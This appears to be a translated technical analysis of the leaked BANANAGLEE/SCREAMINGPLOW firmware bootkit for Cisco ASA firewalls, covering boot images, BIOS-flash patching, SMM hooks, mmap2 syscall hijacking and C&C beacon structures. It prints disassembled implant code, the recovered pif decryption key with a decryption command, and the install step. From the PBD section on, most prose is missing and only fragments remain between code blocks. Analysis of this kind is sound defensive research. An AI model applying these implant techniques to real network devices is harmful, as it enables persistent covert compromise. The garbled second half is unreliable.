βWhat an elegant move is to call a standard bootkit an implant,β we thought.
It all started about a year ago, when our research department received expensive coffee stands, namely a few pieces of hardware from Cisco - Catalyst 3850, Catalyst 6500 switches (a technique for writing shellcodes for this "beast" was previously a report on ZeroNights 2015 ) and inter-network ASA 5525-X screen.
Having found several bugs in the firewall that allowed us to βfall throughβ to the system, having received a standard shell (the developer was promptly informed), we thought about the impact - what can be done so terrible that would cause maximum damage. And here ... the secret documents of the NSA merged in Snowden in 2013 came at an opportune moment. They talked about an implant for PIX and ASA called JETPLOW , covering the Cisco PIX 500 series and the Cisco ASA 5505, 5510, 5520, 5540, 5550 series. As you can see, there were no supported versions in the NSA catalog the mention of the available ASA 5525-X, which, in turn, gave rise to sports interest in the creation of its implant under the 5525-X series as a PoC.
We will talk about our vision and implementation of the implant under ASA 5525-X at the ZeroNights 2016 conference and post its source codes. Also, as a bonus, we will demonstrate the implementation of a similar implant for the Catalyst 3850.
It is important to note that the developed implant for the target 5525-X is slightly different from JETPLOW due to the fact that the 5525-X is built on the Intel x86_64 architecture and uses UEFI, while the Catalyst 3850 is based on the MIPS64 architecture.
Since the publication, there have been many articles devoted to analyzing the contents of the free part of the archive ( link 1 , link 2 ). Someone went into conspiracy, associating the constant value of Q32
with the Equation Group, someone just waved it off, recklessly saying that the exploiters were able to hit only the old versions of ASA and did not pose any threat.
In this paper, we propose to abstract from undercover bulldog games, not to figure out who hacked someone and who suspects who, and based on our experience in reverse engineering of Cisco equipment (and other similar hardware), as well as analyzing malicious code, carry out cold-blooded technical analysis of the implant itself (see the BANANAGLEE / directory), intended for the equipment of this vendor. After all, the fact remains that the files presented in the archive are really a set of exploitation tools for previously unpublished vulnerabilities and tools for secretly retrieving information using bootkit technology. Despite the lack of part of the files, the tools in the archive work fine and perform their task. It is impossible not to admire the amount of work done.
Before you go directly to the analysis of the implant, it is worth considering the target hardware on which it is installed, namely the architecture of firewalls from Cisco.
Cisco's ecosystem is huge, simply amazing. Only widely known operating systems have a dozen of them:
Some are based on Linux, others on QNX or BSDi, you can also find other proprietary operating systems. In general, a real zoo, and how a producer manages it (or does not manage it), remains a mystery. And do not forget that it still works on various architectures:
The output is a very difficult matrix of device types. It should be understood that the processor architecture depends on what security technologies are at the processor level, and can be used to protect the device. Protection technologies may not be a priori on the device due to hardware stuffing. So you need to carefully study what is used in the bowels of the device.
Today we will consider two lines of hardware firewalls: PIX (Private Internet Exchange) and ASA (Adaptive Security Appliance), which came to replace the PIX. Both glands have x86 (Intel and AMD) compatible architecture.
Like most devices from Cisco, in firewalls the boot task is performed by some bootstrap code, called ROMMON (ROM Monitor). ROMMON at the very beginning of its work performs the tasks of initializing hardware components, and then reads the current configuration from NVRAM . If there is no need to switch to ROM Monitor mode (confreg 0x00), it uses GRUB to load the image (boot image with the .bin extension) of the operating system, for which it sends it the name of the file read from NVRAM .
The ASA / PIX boot process looks like this:
The ASA and PIX boot image is a file that is stored on a flash drive, better known to us as flash: / . The structure of boot images looks like this:
The evolution of ASA images is visible in the fact that, starting with version 8.xx, Cisco has switched to using Linux. Further, as an example, consider the contents of the bootable asa831-k8.bin (below we will comment on why this image was chosen):
$ binwalk -B asa831-k8.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 Cisco ASA MAINLDR 512 0x200 Cisco ASA NEXTLDR, a_text: 0x1000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x3C0, a_entry: 0xA000 18432 0x4800 Cisco ASA NEXTLDR, a_text: 0x7000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x0, a_entry: 0x14000 20682 0x50CA Unix path: /platform/asa/finesse/pci.c 73728 0x12000 Cisco ASA BOOTLDR, a_text: 0x5000, a_data: 0xF19000, a_bss: 0x0, a_syms: 0x24, a_entry: 0x100020 79802 0x137BA Unix path: /platform/asa/finesse/pci.c 94208 0x17000 Cisco ASA vmlinuz (2.6.x), kernel_alignment: 0x100000 106110 0x19E7E gzip compressed data, maximum compression, from Unix, last modified: 2010-03-04 22:59:10 1432976 0x15DD90 gzip compressed data, has original file name: "rootfs.img", from Unix, last modified: 2010-03-04 23:57:08 15454677 0xEBD1D5 Zip archive data, at least v2.0 to extract, name: com/cisco/webvpn/csvrelay64.dll 15881408 0xF254C0 Cisco ASA STUBLDR, a_text: 0x6000, a_data: 0x1000, a_bss: 0x0, a_syms: 0x1FA4, a_entry: 0x14000, kernel-size: 0x146D90, rootfs-size: 0xDC7718 15887378 0xF26C12 Unix path: /platform/asa/finesse/pci.c
Having unpacked rootfs , you can select several interesting features:
$ grep "randomize_va_space" /tmp/asa831-k8-rootfs/asa/scripts/rcS.common echo 0 > /proc/sys/kernel/randomize_va_space
It makes no sense to consider the MBR and FirstLdr , since they do not participate in the download and are rudiments stretching from the versions of the images under the PIX.
All loaders, except for the MBR , have headers described by the following structure (only the value of the a_midmag field is different ):
struct grub_aout32_header { grub_uint32_t a_midmag; /* htonl(flags<<26 | mid<<16 | magic) */ grub_uint32_t a_text; /* text segment size */ grub_uint32_t a_data; /* initialized data size */ grub_uint32_t a_bss; /* uninitialized data size */ grub_uint32_t a_syms; /* symbol table size */ grub_uint32_t a_entry; /* entry point */ grub_uint32_t a_trsize; /* text relocation size */ grub_uint32_t a_drsize; /* data relocation size */ };
It has a signature (the value of the a_midmag field): 0x0064010B .
If you do not go into details of the work of this bootloader, then you can say that it is used only when ROMMON downloads an image using the tftp protocol. ROMMON positions the loadable image in physical memory, taking into account the SecondLdr offset and its header at 0x13FE0 , and transfers control to it (1 *) . The main task of this loader is to check the integrity of the loaded image, check the support of the target platform, relocate the rest of the image, starting with BootLdr at 0x100000 and transfer control to its entry point (2 *) .
This bootloader has a signature of 0x107 , the main task is to prepare the kernel for launch, re-check support of the target platform, generate the platform identifier, relocate the StubLdr body at 0x13FE0 (including the header) and transfer control to it (2) . A pointer to the calculated platform identifier is passed as an argument.
Also, this bootloader can transfer control to GRUB (1) , which, in principle, does not affect its download address.
It has a signature of 0x0064010B , the main task of this bootloader is unpacking and loading the kernel (3) .
It is important to note that in the case of an image under PIX (starting with version 6.2 of the images), the kernel has a header similar to the BootLdr loader.
As for terminology, when analyzing the archive, we noticed that the name JETPLOW is used to denote early versions of the implant (mainly for PIX), and the new versions are given the name SCREAMINGPLOW , while some of the control components of the latest versions have partial support for old versions .
We analyzed the latest version of the BannanaDaiquiri 3.1.2 toolkit (the BANANAGLEE / BG3121 directory ) and its ScreamingPlow version 2.8 ( SCP28 ). The Cisco ASA 5505 firewall with ROMMON version 1.0 (12) 13 and the boot image of version 8.3.1 (asa831-k8.bin) were selected as the target equipment. We took the latest version of the implant because it contains support for a larger number of series of target firewalls, an expanded set of features and an improved architecture.
Implant installation is possible:
Some of the interesting information can be gathered from the developers documentation (for example, see the file screamplow-INSTALL.txt ), written in a sarcastic form.
It mentions a key (engineering) boot image image.bin , which is not in the archive, and is downloaded via the network using the tftp, ftp and http (s) protocols.
Example from documentation:
copy tftp://[workstation IP]/image.bin flash:/image2.bin boot system image2.bin rel
In case of infection of earlier firewall series, namely PIX, developers carefully provide the operator with deployment automation scripts for the Apache web server (see the OPS / apache_setup.sh file and the SCRIPTS / Apache_Setup.txt documentation ) for the subsequent downloading of engineering images using the http protocol ( s).
This engineering image must be individually generated for a specific target firewall based on some basic information about it (series, ROMMON version, etc.). In addition, when generating an image, an implant ID must be specified, which will later be used to identify and communicate with infected devices.
All interaction with the engineering image is carried out over the network (UDP 500). Several utilities are used for this:
The main objective of the infector is to generate a BIOS Flash image map, taking into account the information received about the system, and transfer the generated data to the utilities on the boot image for subsequent infection.
As mentioned earlier, the latest version of the BannanaDaiquiri utilities uses the BPICKER utility to generate the BIOS Flash image card (see the BANANAGLEE / BG3121 / Install / LP / BPICKER-3100 file ). This utility, after connecting to the engineering image, receives information about the target equipment from it. Then, on its basis, an archive with the name <platform_name>-moduledata-<bg_version>.tgz
, which contains the components of the implant, is searched in the current directory. Unfortunately, in the published part of the archive there is only the asa-moduledata-3101.tgz file . Having unpacked the archive, you can observe the following directory structure:
$ tree -d BANANAGLEE/BG3121/Install/LP/asa-moduledata-3101 asa-moduledata-3101 βββ asa # xml- pif (persistence information file), BIOS Flash β βββ legacy βββ bin # ScreamingPlow ASA5505 ASAGen β βββ asa5505 β β βββ legacy β β β βββ SCP10 β β β βββ SCP20 β β β βββ SCP21 β β β βββ SCP23 β β β βββ SCP24 β β β βββ SCP25 β β β βββ SCP26 β β β βββ SCP27 β β βββ SCP28 β βββ asaGen β βββ legacy β β βββ SCP10 β β βββ SCP20 β β βββ SCP21 β β βββ SCP23 β β βββ SCP24 β β βββ SCP25 β β βββ SCP26 β β βββ SCP27 β βββ SCP28 βββ lib # ,
For the implant version we have chosen, the file containing the flash BIOS image maps is named asa / asa5505_101213_install_SCP28.pif . The key for decrypting pif-files can be found through the analysis of the utility BPICKER .
// `BANANAGLEE/BG3121/Install/LP/BPICKER-3100` @ 0804F080 uint8_t *key = (uint8_t *)malloc(29); *(uint32_t *)key = 0xC28AD3C7; *((uint32_t *)key + 1) = 0xD8CFDCC5; *((uint32_t *)key + 2) = 0xCCCBD8C9; *((uint32_t *)key + 3) = 0xD9C38ADE; *((uint32_t *)key + 4) = 0xC6DFCC8A; *((uint32_t *)key + 5) = 0xCCC58AC6; *((uint32_t *)key + 6) = 0xC6CFCF8A; key[28] = 0xD9; int i = 0; do { key[i] ^= 0xAA; ++i; } while (i <= 28); // key = "my hovercraft is full of eels"
For our chosen version of the implant, we are interested in pif-files named asa / asa5505_101213_install_SCP28.pif for installation and asa / asa5505_101213_uninstall_SCP28.pif for uninstallation.
You can decrypt all the pif files in the archive as follows:
find . -iname "*.pif" -type f -print -exec sh -c 'openssl base64 -d -in {} | openssl aes-128-cbc -d -nosalt -md md5 -k "my hovercraft is full of eels" > {}.xml' \;
The decrypted xml file asa5505_101213_install_SCP28.pif contains the following:
<?xml version="1.0" encoding="iso-8859-1"?> <platform xsi:noNamespaceSchemaLocation="versionFile.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" lib="libasa.so"> <name>asa5505</name> <version> <name>1.0(12)13 (no persistence detected)</name> <originalBios>bin/asa5505/asa5505_101213_bios_sectors1-E_clean.bin</originalBios> <signatureList><!-- Clean Signatures --> <signature> <!-- Sectors 6-7 --> <hash>67dfd19f3eb3649d6f3f6631e44d0bd36b8d8d19</hash> <address>fff60000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature> <!-- Sectors 8-F --> <hash>579d3ffa2fcb4d55a51b45747184a41656b88df2</hash> <address>fff80000</address> <length>0x80000</length> </signature> </signatureList> <validationList><!-- SCP Signatures --> <signature> <!-- CODE_AREA (aka SP Main) --> <hash>bb706c2b0d3e28ee5209eb0b4f55cc3b8adca81b</hash> <address>fff60000</address> <length>0xdf00</length> </signature> <signature> <!-- Sectors 4-5 --> <hash>d68c37d03242d4648b94d107bec27b1e3f3a248d</hash> <address>fff40000</address> <length>0x20000</length> </signature> <signature><!-- Sectors 8-F --> <hash>c4e5a42ddca3a977e6ba64075914d94a87ba1dfb</hash> <address>fff80000</address> <length>0x80000</length> </signature> </validationList> <patchList><!-- Install SCP --> <patch> <data src="inline" type="userarea">0</data> <!-- Assigned later --> <address>fff70000</address> <!-- SECOND_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patch60000.bin</data> <address>fff60000</address> <!-- FIRST_CODE_AREA_ADDRESS --> </patch> <patch> <data src="inline" type="pbd">0</data> <!-- Assigned later --> <address>fff6df00</address> <!-- FIRST_USER_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchEC480.bin</data> <address>fffec480</address> <!-- SECOND_CODE_AREA_ADDRESS --> </patch> <patch> <data src="file">bin/asa5505/SCP28/asa5505_patchE18BF.bin</data> <address>fffe18bf</address> <!-- HOOK_ADDRESS --> </patch> </patchList> </version> </platform>
As you can see from the code, this xml file contains the platform root element, which describes the target ASA 5505 platform with ROMMON version 1.0 (12) 13 "on board", the original image of which is in the file bin / asa5505 / asa5505_101213_bios_sectors1-E_clean.bin . For the BIOS of this platform, there are patches described in the patchList element. Each of them has a destination address, and is divided into two types: a file on disk and a code (inline).
The code of patches of the inline type, based on user data, is generated using the library for the libasa.so platform (see the lib attribute of the root element of the platform ), which is loaded by the BPICKER utility.
At this stage, it is worth noting that in earlier versions of the utilities in BannanaDaiquiri, the formation of a BIOS Flash card took place directly in the infector itself, where the paths to the file type components were strictly spelled out.
The entire infection process performed by the infector consists in the sequential sending of the configured patches to the engineering image. To check the correctness of the effect produced, based on the contents of the validationList element, re-reading of the memory sections is performed followed by counting the hash sum of the read data. While the elements in signatureList are used to ensure that the target system is not infected or the removal of the implant has been successfully completed.
The picture below shows what BIOS flash looks like before and after infection.
From the above contents of the asa5505_101213_install_SCP28.pif xml file, it can be seen that the implant itself consists of four main parts: First Code Area, Second Code Area, First User Area, Second User Area and some Hook 's:
Further, for the sake of brevity, we will use the abbreviations FCA, SCA, FUA and SUA to denote the corresponding parts of the implant, and the Hook will probably remain Hook 'om.
Now consider each of the components. We will produce it in the reverse order to the one in which the implant uses them, which will simplify and, most importantly, do not break the chain of current events.
This part is the main and only payload of the implant, while all the rest, in fact, are its loader. SUA contains the implant payload code (A) , as well as some supporting information (B) describing the environment in which the payload code will work.
The code of the payload is designed to establish communication with the command server (C & C Server).
Auxiliary information includes, for example:
Auxiliary information is stored in SUA as a complex of structures, the definition of which was obtained as a result of the analysis of the library libasa.so , and looks as follows:
/* User Area Directory */ struct { uint32_t magic; /* UA_DIR signature is 0xD13EC703 */ uint32_t os8_off; /* OS8_INFO offset relative to UA_DIR start address */ uint32_t bg_gen_off; /* BG_GEN_INFO offset relative to UA_DIR start address */ uint32_t bg_os_off; /* BG_OS_INFO offset relative to UA_DIR start address */ } UA_DIR; /* ASA OS xxx Info */ struct { uint32_t magic; /* OS8_INFO signature is 0xDECAFBAD */ struct { uint32_t version; uint32_t address; } records[0]; } OS8_INFO; /* BANANAGLEE Gen? Info */ struct { struct { uint32_t magic; /* BG_GEN_INFO signature is 0xBA9A61EE*/ uint32_t data_size; } header; uint32_t unknown; /* observed to be zero */ uint32_t imp_version; /* implant version */ } BG_GEN_INFO; /* BANANAGLEE OS Info */ struct { uint32_t magic; /* BG_OS_INFO signature is 0xBA9A61EE*/ uint32_t size; /* BG_OS_INFO data size */ uint32_t page_size; uint32_t version; /* lina/malina version this info is about */ uint32_t bg_glob_addr; uint32_t malloc_addr; /* allocation routine address */ uint32_t sync_addr; uint32_t checkheap_addr; uint32_t imp_version; /* implant version major */ uint32_t unknown; /* maybe checksum */ void* addr_ptr_list[0]; /* various information regarding the given version of the main process */ } BG_OS_INFO; /* will be stored as an array where each element describes one particular version */
Consider the purpose of individual structures:
The UA_DIR, OS8_INFO, BG_GEN_INFO structures are present in SUA single copy, and are located before the payload code. The BG_OS_INFO structure, in turn, is present in SUA in multiple instances, one for each version of the main process. A number of instances are stored as an array, located after the payload code.
The formation of a complex of structures is carried out using a set of .dat files, each of which describes environments for a particular version of the main process (see the files BANANAGLEE / BG3121 / Dats / *. Dat ).
The file bin / BG_312_SCREAM_UA_full_support.bin is used as a clean image of SUA and the further formation of its header.
, PBD, PBD Header (A) , userarea (B) .
userarea , SUA BG_OS_INFO , . SUA BG_OS_INFO , userarea . , SP Main .
:
, SUA β , FUA , userarea .
PBD Header FUA 256 . PBD Header :
struct PBD_Header { struct KEY { uint16_t CHECKS_CONSTANTS[10]; // Constants for quick selection Beacon-packets uint8_t key1[8]; // First part of RC6-key for ecrypt Benign-packets in session uint8_t key2[8]; // Second part of RC6-key uint8_t challenge[16]; uint8_t default_key1[8]; // First part of RC6-key for ecrypt HELLO, AUTH_RESP, CHALLENGE Benign-packets uint8_t default_key2[8]; // Second part of RC6-key uint8_t CV[8]; } key; uint32_t implantID; struct BEACON { uint32_t beacon_count; // Total number of beacons to send uint32_t primary_delay; // Seconds to delay first beacon uint32_t secondary_delay; // Seconds to delay subsequent beacons uint32_t min_delay; uint32_t max_delay; uint16_t min_src_port; // 0x00 by default uint16_t max_src_port; // 0xFFFF by default uint32_t beacon_primary_IP; // First IP address for beacon destination uint32_t beacon_secondary_IP; // Second IP address for beacon destination char domain_name[8]; // DNS beacon domain name ("yahoo" by default) } beacon; };
PBD Header , C&C (IP-, , "" ..). FUA , , bin/BG_312_PBD_config_CLEAN.bin .
3 :
FCA bin/asa5505/SCP28/asa5505_patch60000.bin .
SCA SMI -, . β FCA, FUA SUA SP Main FCA .
SCA bin/asa5505/SCP28/asa5505_patchEC480.bin .
BIOS, SMI - SMRAM :
Hook ' β SMRAM SMI - SCA . , , , SMI .
Hook 'a bin/asa5505/SCP28/asa5505_patchE18BF.bin .
BIOS ' SMI SMRAM . , , SCA . , SCA #SMI . , ICH/PCH #SMI , SCA , . SCA , . , - , SCA #SMI , :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x0A4 _exit: jmp far ptr 0:0 ; jmp address @ SMBASE + 0x80A5 ; Has been replaced by `mov word [0xc527], cx` ; where CX contains the original SMI handler EP and ; 0x80A4 = 0x8000 + (0xC527 - 0xC480 = 0xA5) - 1
, , #SMI SCA . , , SCA / .
, SCA :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x14D ; ... mov eax, fs:_ss_cr0 and eax, 1 cmp eax, 0 jz wait ; exit if PM is not enabled mov eax, fs:_ss_cr0 mov ebx, cr3 and eax, 80000000h cmp eax, 0 jz wait ; exit if PG is not enabled cmp ebx, 0 jz wait ; exit if cr3 is zero sidt fword ptr ds:0DC5F7h ; _idt @ 0xC5F7 mov eax, ds:0DC5F9h ; eax <- IDT.Base cmp eax, 0 jz wait ; exit if IDT is not initialized yet cmp byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF jz short stage_00 mov byte ptr ds:0DC5EFh, 0 ; _setup_alarm @ 0xC5EF push large 0 ; a0 call large _setup_alarm_interrupt add esp, 4 cmp eax, 0 jnz short stage_00 jmp restore_exit ; ...
, / , , .
: SP Main SP Main , BIOS Flash.
SCA , β ASA PIX. .
BootLdr , 0x100000 ( 0x100000 ).
8 MiB β PIX, ASA.
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0xD6E ; int __cdecl _fca_inject_stage1(int a0, int a1, int cr3, int cr4, int zero) ; ... mov dword ptr [esp], 100000h ; malina bootloader real time va call large va2pa test eax, eax jz short guess_lina cmp eax, 100000h ; malina bootloader is located @ VA 0x100000 PA 0x100000 jnz short guess_lina mov [ebp+var_C], 100000h mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_midmag], 107h ; bootloader magic jnz short guess_lina mov eax, [ebp+var_C] cmp [eax+grub_aout32_header.a_text], 7FFFFFh ; bootloader + malina size jbe short guess_lina ; can't be lass than 8 MiB ; ... jmp guess_malina ; ...
, , , ASA lina , malina . , SP Main , ( ), , malina .
, SCA BIOS Flash . SCA Page Directory , Page Table 4- MiB 32- ( BIOS Flash Map ).
Page Table Entry , user space BIOS Flash Map .
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x24B ; int __cdecl map_bios_flash_manually(int cr3, int cr4) ; ... mov eax, [ebp+cr3] ; ... and eax, 0FFFFF000h ; eax <- paging directory lea ebx, [eax+0FFCh] ; last pd entry addr mov edx, [eax+0FFCh] ; last pd entry value ; ... mov eax, edx or eax, 2 ; set pde permissions to RW mov [ebx], eax ; write PDE back mov esi, 1 mov edi, 0 mov ebx, edx and ebx, 0FFFFF000h ; ebx <- PT pa loc_DD2B5: mov edx, 0FFF00000h loc_DD2BB: lea ecx, [edx+7] ; ecx <- 0xFFF00007 mov eax, edx and eax, 3FF000h ; eax <- 0x300000 shr eax, 0Ah ; eax <- 0xC00 lea eax, [ebx+eax] ; eax <- PTE pa which is PT pa + 0xC00 test esi, esi jz short loc_DD2DD test byte ptr [eax], 1 ; is present? jnz short _exit_err loc_DD2DD: mov [eax], ecx ; set PTE value add edx, 1000h ; move to next page cmp edx, 0FFF80000h ; done? jnz short loc_DD2BB add edi, 1 mov esi, 0 cmp edi, 2 jnz short loc_DD2B5 mov eax, cr3 mov cr3, eax mov eax, 1 jmp short _exit_ok ; ...
SCA , 55 53 65 57 , push ebp, ebx, esi, edi . malina ( 7.2.2 PIX):
; `pix722.bin/malina.bin` @ 0x100110 _td_ctx_enter proc near ; CODE XREF: sub_113890+1F4 push ebp ; the search pattern is `55 53 56 57` push ebx push esi push edi mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov ebp, [eax+20h] mov ebx, [eax+24h] mov esi, [eax+28h] mov edi, [eax+2Ch] retn _td_ctx_enter endp
_td_ctx_enter _td_ctx_exit , SCA :
; `pix722.bin/malina.bin` @ 0x100130 _td_ctx_exit proc near ; CODE XREF: sub_1131B0:loc_1131DD mov eax, ds:13A8E80h mov edx, [eax+1Ch] mov [eax+1Ch], esp mov esp, edx mov [eax+20h], ebp mov [eax+24h], ebx mov [eax+28h], esi mov [eax+2Ch], edi pop edi pop esi pop ebx pop ebp retn _td_ctx_exit endp
.
, "duart_open", "malloc" "CHECKHEAPS...", SCA malloc checkheaps . malloc FCA FUA BIOS Flash RAM. checkheaps , , SCA :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357 ;... lea eax, ds:0DC60Dh ; _td_ctx_ptr @ 0xC60D push eax ; td_ctx_ptr call large _find_td_ctx_enter add esp, 4 cmp eax, 0 ; eax <- _td_ctx_enter() ptr jz clear_alarm_restore_exit mov ds:0DC5FDh, eax ; _td_ctx_enter_ptr @ 0xC5FD mov edx, fs:dword_DFFF0 mov ebx, eax mov ecx, 1Ch add ebx, ecx cmp edx, eax jb short loc_DC39A cmp edx, ebx jnb short loc_DC39A add eax, 20h ; ' ' ; calculate _td_ctx_exit addr loc_DC39A: mov ds:0DC609h, eax ; _td_ctx_exit_ptr @ 0xC609 call large _find_malloc cmp eax, 0 jz clear_alarm_restore_exit mov ds:0DC601h, eax ; _malloc_ptr @ 0xC601 mov ebx, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 0Bh add ebx, ecx ; ebx = 0x10013B sub eax, ebx ; calculate malloc offset relative to call insn address lea edx, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov [edx+7], eax ; call 0x12345678 ; ^^^^^^^^^^ <- eax = malloc() ptr mov eax, cr4 push eax mov eax, cr3 push eax call large _make_malina_text_rwx add esp, 8 cmp eax, 0 jz clear_alarm_restore_exit call large _patch_checkheaps ;...
, checkheaps , SCA , , , . SCA _td_ctx_exit :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404 ;... lea edi, ds:0DC62Dh ; _td_ctx_exit_code @ 0xC62D mov esi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 mov ecx, 24h ; '$' rep movs byte ptr es:[edi], byte ptr [esi] mov edi, ds:0DC609h ; _td_ctx_exit_ptr @ 0xC609 lea esi, ds:0DC611h ; _splice_pci_43 @ 0xC611 mov ecx, 1Ch rep movs byte ptr es:[edi], byte ptr [esi] wbinvd mov byte ptr ds:0DC5F0h, 1 ; _main_proc_infected @ 0xC5F0, 0x0000 ;...
:
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611 ;... pushal push 0x10000 call malloc ; allocate 64 KiB for FCA and FUA push eax ; pass ptr to allocated memory via stack mov dx, 0xcf8 mov eax, 0x800078d0 out dx, eax add edx, 4 mov al, 0x43 out dx, al ; pass control back to SCA ;...
64 KiB FCA FUA , SCA #SMI , FCA FUA .
, SCA , _td_ctx_exit SP Main . , 0x25E FCA .
:
SP Main . , , , SP Main β SUA (userarea) .
SP Main userarea , FUA . , , SP Main β . , SP Main " ", .
, SCA : SP Main BIOS Flash user space . β mmap2 syscall_table . , SCA , .
syscall_table sysenter_entry , int 0x80 (syscall). int 0x80 IDT , 0x400 IDT .
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x82F ; int __cdecl _fca_inject_lina(int a0, int a1, int cr3, int cr4, int zero, int idt_base) ; ... mov eax, [ebp+idt_base] mov [esp], eax ; va call large _va2pa test eax, eax ; eax = IDT phys addr jz exit_bad mov edx, [eax+404h] ; 0x404 β int 0x80 interrupt descriptor offset LO part mov dx, 0 movzx eax, word ptr [eax+400h] ; 0x400 β int 0x80 interrupt descriptor offset LO part mov ebx, edx or ebx, eax ; ebx <- int 128 handler va ; ... call large _va2pa mov [ebp+int80_handler_pa], eax ; ... mov edx, [ebp+int80_handler_pa] cmp byte ptr [edx], 0FFh ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; which stands for `call *sys_call_table(,%eax,4)` ; see sysenter_entry() at `arch/i386/kernel/entry.S` jnz short loop2_cont cmp byte ptr [edx+1], 14h jnz short loop2_cont cmp byte ptr [edx+2], 85h ; ... mov eax, [edx+3] ; ff 14 85 xx xx xx xx call dword ds:xxxxxxxx[eax*4] ; ^^^^^^^^^^^ -> eax = syscall_table VA add eax, 300h ; 300h is sys_mmap2 handler ptr offset relative to syscall_table base mov [esp+_va], eax call large va2pa mov [ebp+sys_mmap2_pa], eax ; ... mov ebx, [ebp+orig_sys_mmap2_handler_va] mov edi, [ebp+kernel_rm_code_pa] mov esi, 0FFF60000h ; FCA flash address mov ecx, 87h ; SP sys_mmap2 code size rep movs byte ptr es:[edi], byte ptr [esi] ; it is safe to store SP sys_mmap2 code ; in the kernel real-mode part of code ; 'cause by the time the sys_mmap2 will be called ; that code will not be called anymore mov edx, [ebx] mov eax, [ebp+kernel_rm_code_pa] mov [eax+83h], edx ; store original sys_mmap2 VA in far jump ; so that SP sys_mmap2 could actually use it mov eax, [ebp+kernel_rm_ep] mov ecx, [ebp+sys_mmap2_handler_ptr_pa] mov [ecx], eax ; modify sys_mmap2 handler ptr within syscall_table ; to make it point to SP sys_mmap2 mov eax, 0DCEC3h ; remember original sys_mmap2 VA for when SCA finishes it work ; it could restore the original handler ptr within syscall_table ; ... mov eax, 1 ; success jmp short exit_ok ; ...
, "" "": mmap2 " " user space-, . mmap2 . SCA BIOS Flash, , /dev/mem . , , mmap2 /dev/mem 0xFF000 β lina .
// /tmp/asa831-k8-rootfs/asa/bin/lina @ 0x8AE9A10 //... fd = primary_rom_fd; if (!primary_rom_fd){ fd = fopen("/dev/mem", "r+"); primary_rom_fd = fd; if (!fd){ printf("Error opening %s\n", "/dev/mem"); exit(1); } } _fileno = fileno(fd); *(_DWORD *)(a2 - 20) = 0; *(_DWORD *)(a2 - 16) = 0xFFC00000 / *(_DWORD *)(a2 - 32); _primary_rom = sys_mmap2(*(void **)(a2 - 20), 0x80000u, 3, 1, _fileno, *(_DWORD *)(a2 - 20 + 4)); if (_primary_rom > 0xFFFFFF7E){ *__errno_location() = -_primary_rom; LABEL_4: perror("mmap: error mapping primary rom"); exit(1); } //...
, lina - 512 KiB BIOS Flash. , FCA, FUA SUA , 1 MiB mmap2 , . lina .
SP Main . , mmap2 , , /, , , SCA #SMI .
; `bin/asa5505/SCP28/asa5505_patch60000.bin` offset 0x063 ; ... push eax ; eax <- mapped address mov dx, 0CF8h mov eax, 800078D0h out dx, eax mov dx, 0CFCh mov al, 42h ; this will signal SCE that sys_mmap2() has ; triggered this #SMI out dx, al pop eax retn ; this will return to SP Main EP ; ...
SCA , sysenter_ret (, ), SP Main . SCA RSM , SP Main , , , :
; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x2D1 ; ... mov ecx, [edi+esi*4+30h] ; ecx <- sysenter_ret mov [eax+4], ecx ; 62000 will return to where sysenter should have been mov [edi+esi*4+3Ch], ebx mov dword ptr [eax], 0 mov eax, [edi+4] ; eax <- sys_mmap2 ret addr mov fs:_mmap2_ret, eax mov eax, [edi] ; eax <- mapped memory va? mov fs:_ss_eax, eax add eax, 62000h add eax, 0 mov [edi+esi*4+30h], eax ; syscall will return to 62000 mov edx, fs:_ss_esp add edx, 8 mov fs:_ss_esp, edx ; ...
:
SP Main , , , malina . ( lina 0x62200 BIOS Flash), " ", .
, FUA - userarea . , , SUA . , , ). SP Main , , C&C, : ", . - Lina. ?".
, . , C&C , .
, lina . SP Main FCA FUA RAM _td_ctx_enter , malina SCA . , SP Main lina , . malina , 0x100040 .
SP Main ( FCA ) PBD Header BIOS Flash anonymous mapping .
SP Main . /proc/self/maps lina .
, ELF- , SP Main _td_ctx_enter , SCA , malina ( 55 53 65 57 ).
mprotect , , , , SP Main .
, , lina , malina .
_td_ctx_enter , SP Main , . : (socket, bind, sendto, close, etc.); ( , , etc.); SNMP ( ); syslog .
, . , , FCA (. FCA 0x2D60 ).
, , main . , C&C, .
C&C OSI .
IPv4 IPv6 , .
UDP . PBD_Header.min_src_port β PBD_Header.max_src_port . , C&C.
Benign -, , , , . , Benign - 512 ( BENIGNSIZE ), , . Benign - .
RC6 Benign -.
" β ". , . Benign -.
Benign -, -, :
struct BenignHeader { uint8_t type; /* request type */ uint8_t padLength; /* minimal size of BENIGN packet is 8 bytes, hence the padding */ uint16_t pkt_ID; /* incremented with each new packet */ uint32_t benign_payload_length; /* payload size */ uint32_t sequenceNumber; /* sequential number of payload fragment */ uint32_t ackNumber; /* number of request packet for which this packet is response to */ }; struct BenignPacket { uint32_t cf_crc; /* some value as returned by Check_Function */ uint32_t cv[2]; /* initializtion vector for encryption */ uint8_t salt[8]; /* random salt */ BenignHeader header; /* payload header */ uint8_t payload[0]; /* CO to the rescue */ }
type /, .
( ):
